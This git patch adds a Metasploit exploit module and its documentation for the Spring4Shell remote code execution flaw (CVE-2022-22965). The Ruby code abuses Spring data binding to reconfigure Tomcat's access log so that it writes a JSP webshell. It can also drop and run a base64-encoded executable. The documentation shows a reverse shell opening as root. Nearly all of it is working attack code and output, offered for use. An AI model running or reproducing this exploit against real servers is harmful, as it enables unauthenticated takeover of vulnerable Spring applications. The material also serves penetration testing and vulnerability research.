From 4e6176d9cac1bf04497b4e14054f7a8f11a9fa7d Mon Sep 17 00:00:00 2001 From: vleminator Date: Thu, 7 Apr 2022 15:22:18 +0200 Subject: [PATCH] Finish exploit CVE-2022-22965 --- .../http/spring_framework_rce_spring4shell.md | 73 +++++ .../http/spring_framework_rce_spring4shell.rb | 286 ++++++++++++++++++ 2 files changed, 359 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md create mode 100644 modules/exploits/multi/http/spring_framework_rce_spring4shell.rb diff --git a/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md b/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md new file mode 100644 index 0000000000..e8afb846aa --- /dev/null +++ b/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md @@ -0,0 +1,73 @@ +## Vulnerable Application + +Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above +and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable +to remote code execution due to an unsafe data binding used to populate an object from request parameters +to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the +org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: +class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can +gain remote code execution. + +## Verification Steps + +1. Build the application + 1. `git clone https://github.com/vleminator/Spring4Shell-POC` + 2. `docker build . -t spring4shell` +2. Run the application + 1. `docker run -p 8085:8080 spring4shell` +3. Start msfconsole +4. Run: `use exploit/multi/http/spring4shell` +5. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload associated datastore options +6. Run the exploit + +## Options + +## Scenarios + +### Spring Framework v5.3.15 on Linux (debian docker image) + +``` +msf6 exploit(multi/http/spring4shell) > show options + +Module options (exploit/multi/http/spring4shell): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FILEDROPPERDIR /tmp/ no The directory used for filedropper (only applicable to non-Java target) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 8085 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /helloworld/greeting yes The path to the application action + VHOST no HTTP server virtual host + + +Payload options (java/jsp_shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.0.174 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL no The system shell to use. + + +Exploit target: + + Id Name + -- ---- + 0 Java + + +msf6 exploit(multi/http/spring4shell) > exploit + +[*] Started reverse TCP handler on 192.168.0.174:4444 +[*] 127.0.0.1:8085 - Generating JSP... +[*] 127.0.0.1:8085 - Modifying Class Loader... +[*] 127.0.0.1:8085 - Waiting for the server to flush the logfile +[+] 127.0.0.1:8085 - Log file flushed at http://127.0.0.1:8085/lKNWl49.jsp +[!] Tried to delete lKNWl49.jsp, unknown result +[*] Command shell session 2 opened (192.168.0.174:4444 -> 192.168.0.174:56430 ) at 2022-04-07 14:45:06 +0200 + +whoami +root +``` \ No newline at end of file diff --git a/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb b/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb new file mode 100644 index 0000000000..332d7aca26 --- /dev/null +++ b/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb @@ -0,0 +1,286 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ManualRanking # It's going to manipulate the Class Loader + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Spring Framework Class property RCE (Spring4Shell)', + 'Description' => %q{ + Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above + and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable + to remote code execution due to an unsafe data binding used to populate an object from request parameters + to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the + org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: + class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can + gain remote code execution. + }, + 'Author' => + [ + 'vleminator ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2022-22965'], + ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'], + ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'], + ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965'] + ], + 'Platform' => %w{ linux win }, + 'Payload' => + { + 'Space' => 5000, + 'DisableNops' => true + }, + 'Targets' => + [ + ['Java', + { + 'Arch' => ARCH_JAVA, + 'Platform' => %w{ linux win } + }, + ], + ['Linux', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'linux' + } + ], + ['Windows', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win' + } + ] + ], + 'DisclosureDate' => 'Mar 31 2022', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to the application action', "/app/example/HelloWorld.action"]), + OptString.new('FILEDROPPERDIR', [ false, 'The directory used for filedropper (only applicable to non-Java target)', "/tmp/"]), + ], self.class) + end + + def jsp_dropper(file, exe) + # + # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9. + # + dropper = <<-eos +<%@ page import=\"java.io.FileOutputStream\" %> +<%@ page import=\"java.util.Base64\" %> +<%@ page import=\"java.io.File\" %> +<% + FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); + oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\")); + oFile.flush(); + oFile.close(); + File f = new File(\"#{file}\"); + f.setExecutable(true); + Runtime.getRuntime().exec(\"#{file}\"); +%> + eos + + dropper + end + + def dump_line(uri, cmd = "") + res = send_request_cgi({ + 'uri' => uri+cmd, + 'version' => '1.1', + 'method' => 'GET', + }) + + res + end + + def modify_class_loader(opts) + + cl_prefix = "class.module.classLoader" + # case datastore['STRUTS_VERSION'] + # when '1.x' then "class.classLoader" + # when '2.x' then "class['classLoader']" + # end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'version' => '1.1', + 'method' => 'POST', + 'headers' => { + "c1" => "<%", # %{c1}i replacement in payload + "c2" => "%>", # %{c2}i replacement in payload + }, + 'vars_post' => { + "#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload], + "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory], + "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix], + "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix], + "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] + } + }) + + res + end + + def check_log_file(hint) + uri = normalize_uri("/", @jsp_file) + + print_status("#{peer} - Waiting for the server to flush the logfile") + + 10.times do |x| + select(nil, nil, nil, 2) + + # Now make a request to trigger payload + vprint_status("#{peer} - Countdown #{10-x}...") + res = dump_line(uri) + + # Failure. The request timed out or the server went away. + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? + + # Success if the server has flushed all the sent commands to the jsp file + if res.code == 200 + print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}") + return true + end + end + + false + end + + # Fix the JSP payload to make it valid once is dropped + # to the log file + def fix(jsp) + output = "" + jsp.each_line do |l| + if l =~ /<%.*%>/ + output << l + elsif l =~ /<%/ + next + elsif l.chomp.empty? + next + else + output << "<% #{l.chomp} %>" + end + end + output + end + + def create_jsp + if target['Arch'] == ARCH_JAVA + jsp = fix(payload.encoded) + else + payload_exe = generate_payload_exe + payload_file = rand_text_alphanumeric(4 + rand(4)) + payload_dir = datastore['FILEDROPPERDIR'] + + jsp = jsp_dropper(payload_dir + payload_file, payload_exe) + register_files_for_cleanup(payload_dir + payload_file) + end + + jsp + end + + def check + prefix_jsp = rand_text_alphanumeric(3+rand(3)) + date_format = rand_text_numeric(1+rand(4)) + @jsp_file = prefix_jsp + date_format + ".jsp" + + status = CheckCode::Safe + + # Prepare the JSP + print_status("#{peer} - Generating JSP...") + + # Modify the Class Loader + print_status("#{peer} - Modifying Class Loader...") + properties = { + :payload => prefix_jsp, + :directory => 'webapps/ROOT', + :prefix => prefix_jsp, + :suffix => '.jsp', + :file_date_format => date_format + } + res = modify_class_loader(properties) + unless res + fail_with(Failure::TimeoutExpired, "#{peer} - No answer") + end + + # No matter what happened, try to 'restore' the Class Loader + properties = { + :payload => '', + :directory => '', + :prefix => '', + :suffix => '', + :file_date_format => '' + } + modify_class_loader(properties) + + # Check if the log file exists and has been flushed + if check_log_file(normalize_uri(target_uri.to_s)) + register_files_for_cleanup(@jsp_file) + status = CheckCode::Vulnerable + else + fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") + end + + return status + end + + + def exploit + prefix_jsp = rand_text_alphanumeric(3+rand(3)) + date_format = rand_text_numeric(1+rand(4)) + @jsp_file = prefix_jsp + date_format + ".jsp" + + # Prepare the JSP + print_status("#{peer} - Generating JSP...") + jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i') + + # Modify the Class Loader + print_status("#{peer} - Modifying Class Loader...") + properties = { + :payload => jsp, + :directory => 'webapps/ROOT', + :prefix => prefix_jsp, + :suffix => '.jsp', + :file_date_format => date_format + } + res = modify_class_loader(properties) + unless res + fail_with(Failure::TimeoutExpired, "#{peer} - No answer") + end + + # No matter what happened, try to 'restore' the Class Loader + properties = { + :payload => '', + :directory => '', + :prefix => '', + :suffix => '', + :file_date_format => '' + } + modify_class_loader(properties) + + # Check if the log file exists and has been flushed + if check_log_file(normalize_uri(target_uri.to_s)) + register_files_for_cleanup(@jsp_file) + else + fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") + end + + end + +end + +# 0day.today [2022-03-31] #